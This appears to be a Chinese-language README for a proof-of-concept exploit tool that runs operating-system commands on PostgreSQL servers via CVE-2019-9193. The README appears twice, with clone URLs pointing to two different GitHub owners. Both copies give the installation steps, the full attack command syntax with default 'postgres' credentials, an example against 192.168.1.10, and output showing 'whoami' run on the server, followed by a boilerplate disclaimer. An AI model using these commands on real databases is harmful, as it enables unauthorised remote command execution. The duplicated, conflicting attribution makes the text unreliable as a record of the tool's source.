GenPostgresRCEExploit 是一款 PoC 工具,旨在利用某些版本 PostgreSQL(9.3 - 11.7)中的已认证远程代码执行(RCE)漏洞。它允许已认证用户在受 CVE-2019-9193 影响的 PostgreSQL 数据库服务器上执行系统命令。
psycopg2)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i、--ip:PostgreSQL 服务器的 IP 地址(默认值:127.0.0.1)-p、--port:PostgreSQL 服务器端口(默认值:5432)-d、--database:PostgreSQL 数据库名称(默认值:template1)-U、--user:连接 PostgreSQL 服务器的用户名(默认值:postgres)-P、--password:连接 PostgreSQL 服务器的密码(默认值:postgres)-c、---command:要在服务器上执行的系统命令-t、--timeout:连接超时时间(秒)(默认值:10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
此示例连接到位于 192.168.1.10 的 PostgreSQL 服务器,使用提供的凭据进行身份验证,并执行 whoami 命令。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
本工具仅用于教育目的和道德测试。未经授权对任何系统使用本工具均属违法行为,并严格禁止。作者对任何滥用行为不承担责任。
GenPostgresRCEExploit 是一个 PoC 漏洞利用程序,旨在利用某些版本 PostgreSQL(9.3 - 11.7)中的远程代码执行(RCE)漏洞。该程序允许已认证用户在易受 CVE-2019-9193 影响的 PostgreSQL 服务器上执行系统命令。
psycopg2 包)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i、--ip:PostgreSQL 服务器的 IP 地址(默认值:127.0.0.1)-p、--port:PostgreSQL 服务器端口(默认值:5432)-d、--database:PostgreSQL 数据库名称(默认值:template1)-U、--user:连接 PostgreSQL 服务器的用户名(默认值:postgres)-P、--password:连接 PostgreSQL 服务器的密码(默认值:postgres)-c、--command:在服务器上执行的系统命令-t、--timeout:连接超时时间(秒)(默认值:10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
在此示例中,程序连接到位于 192.168.1.10 的 PostgreSQL 服务器,使用指定的凭据进行身份验证,并执行 whoami 命令。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
本工具仅用于教育目的和合法测试。未经授权使用本工具针对任何系统均属违法行为,并严格禁止。作者对任何滥用行为不承担责任。